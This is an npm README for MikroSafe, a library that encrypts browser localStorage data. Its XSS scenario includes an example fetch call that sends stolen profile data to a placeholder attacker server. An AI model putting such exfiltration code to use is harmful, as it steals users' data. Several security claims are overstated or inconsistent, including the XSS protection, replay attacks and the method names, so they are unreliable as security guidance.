UNPKG

mikrosafe

Version:

Encrypt and decrypt your LocalStorage data, simply and securely.

192 lines (126 loc) 7.61 kB
# MikroSafe **Encrypt and decrypt your LocalStorage data — simply and securely**. [![npm version](https://img.shields.io/npm/v/mikrosafe.svg)](https://www.npmjs.com/package/mikrosafe) [![bundle size](https://img.shields.io/bundlephobia/minzip/mikrosafe)](https://bundlephobia.com/package/mikrosafe) ![Build Status](https://github.com/mikaelvesavuori/mikrosafe/workflows/main/badge.svg) [![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](https://opensource.org/licenses/MIT) --- A lightweight (less than 1KB gzipped), zero-dependency library for securely storing data in browsers using true AES-GCM encryption. ## Example See the [MikroSafe example site](https://mikrosafe-example.netlify.app) or the `example` directory in this repo. ## Installation With HTML, loading MikroSafe from your local files: ```html <script src="path/to/mikrosafe.min.js"></script> ``` Or via npm: ```bash npm install mikrosafe -S ``` ## Quick Start ```javascript // Create a storage instance with a custom password const storage = new MikroSafe('my-secure-password'); // Store data await storage.setItem('userProfile', { name: 'John Doe', email: 'john@example.com', isActive: true }); // Retrieve data const profile = await storage.getItem('userProfile'); // Remove data storage.removeItem('userProfile'); // Clear all data storage.clear(); ``` ## Why MikroSafe? Web applications frequently store sensitive user data in the browser's localStorage for offline functionality and improved performance. However, localStorage is inherently insecure: - Data is stored in **plain text**. - Accessible to **any JavaScript** running on the same domain. - Vulnerable to **XSS attacks** and **malicious browser extensions**. - Exposed in plain text during **browser memory dumps**. MikroSafe addresses these security vulnerabilities by implementing true encryption using the [Web Crypto API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Crypto_API), ensuring your data remains protected even if compromised. ### What about other options? There are some number of alternatives out in the open for encrypting and decrypting LocalStorage. What MikroSafe does is to: - **Focus on security using actual encryption**: This is not the case for all other options, at least not without manually providing your own crypto. - **Lightweight**: Minimalist implementation with fewer unneeded bells and whistles. - **Modern implementation**: Make it nice and easy for contributors to work with. ## Security Benefits ### Industry-Standard Encryption MikroSafe uses [AES-GCM 256-bit encryption](https://en.wikipedia.org/wiki/Galois/Counter_Mode) (the gold standard for symmetric encryption) provided by the browser's built-in Web Crypto API to protect your data: - **AES-GCM:** A highly secure authenticated encryption mode. - **PBKDF2:** Password-based key derivation with 100,000 iterations for protection against brute force attacks. - **Unique IV:** Generated for each encryption operation to prevent replay attacks. ### Protection Against Common Attack Vectors | Attack Vector | Plain localStorage | MikroSafe | |-------------------------|----------------------------------------------|--------------------------------------------------| | XSS Attacks | ❌ Attackers can read all data via JavaScript | ✅ Encrypted data is useless without the password | | Browser Extensions | ❌ Extensions can access all data | ✅ Data is encrypted and unreadable | | Local Access | ❌ Anyone with physical access can view data | ✅ Data is encrypted in browser storage | | Man-in-the-Middle | ❌ Clear text if intercepted via HTTP | ✅ Already encrypted before transmission | | Browser Developer Tools | ❌ Plainly visible in Storage tab | ✅ Only encrypted ciphertext is visible | | Memory Dumps | ❌ Data visible in browser memory | ✅ Only encrypted when in localStorage | ### Default Password & Security Even with the default password, MikroSafe provides significant security improvements: 1. **Defense in Depth:** Adding encryption creates an additional security layer that attackers must overcome. 2. **Security Through Obscurity:** While not a primary security measure, encryption prevents casual data inspection. 3. **Obfuscation vs. Nothing:** Encrypted data with a default password is still more secure than plaintext data. 4. **Custom Password Implementation:** For production applications, using a custom user-provided password dramatically increases security. **Remember**: The strongest security comes from using custom, user-provided passwords. _The default password is meant for development and should be replaced in production environments._ ## Comparing Real-World Security Scenarios ### Scenario 1: XSS Attack If an attacker manages to inject malicious JavaScript: **With plain localStorage:** ```javascript // Attacker can immediately access sensitive data const userData = localStorage.getItem('userProfile'); // Send to attacker's server fetch('https://evil-server.com/steal', { method: 'POST', body: userData }); ``` **With MikroSafe:** ```javascript // Attacker gets only encrypted data const encryptedData = localStorage.getItem('userProfile'); // Data is useless without the encryption password // e.g.: "U2FsdGVkX18kVrd2JtrPQbGae6w92H/1OJswGFFzZ8w8P3..." ``` ### Scenario 2: Malicious Browser Extension **With plain localStorage:** Browser extensions with storage permissions can read all localStorage data in plain text, potentially accessing sensitive user information. **With MikroSafe:** Extensions still see only the encrypted data, which is useless without the encryption key. ### Scenario 3: Physical Device Access If someone gains access to a user's device: **With plain localStorage:** Opening developer tools shows all stored data in readable format. **With MikroSafe:** Data appears as encrypted strings, unreadable without the password. ## Recommendations for Maximum Security 1. **Use unique passwords:** Create a unique encryption password, ideally derived from static but not-easily-known data. 2. **Custom salt:** Provide a custom salt value rather than using the default. 3. **Secure password management:** Never store the encryption password in localStorage or sessionStorage. 4. **Limited data lifetime:** Only store sensitive data as long as necessary. ## API Reference ### Constructor ```javascript const storage = new MikroSafe(password, options); ``` | Parameter | Type | Description | |--------------|-------------------|----------------------------------------------| | password | string | The password used for encryption/decryption | | options | object | Optional configuration settings | | options.salt | string/Uint8Array | Custom salt for key derivation (recommended) | ### Methods | Method | Parameters | Return | Description | |--------|--------------|------------------|-------------------------------| | set | (key, value) | Promise<void> | Encrypts and stores data | | get | (key) | Promise<T\|null> | Retrieves and decrypts data | | remove | (key) | void | Removes an item from storage | | clear | () | void | Clears all items from storage | ## License MIT. See the `LICENSE` file.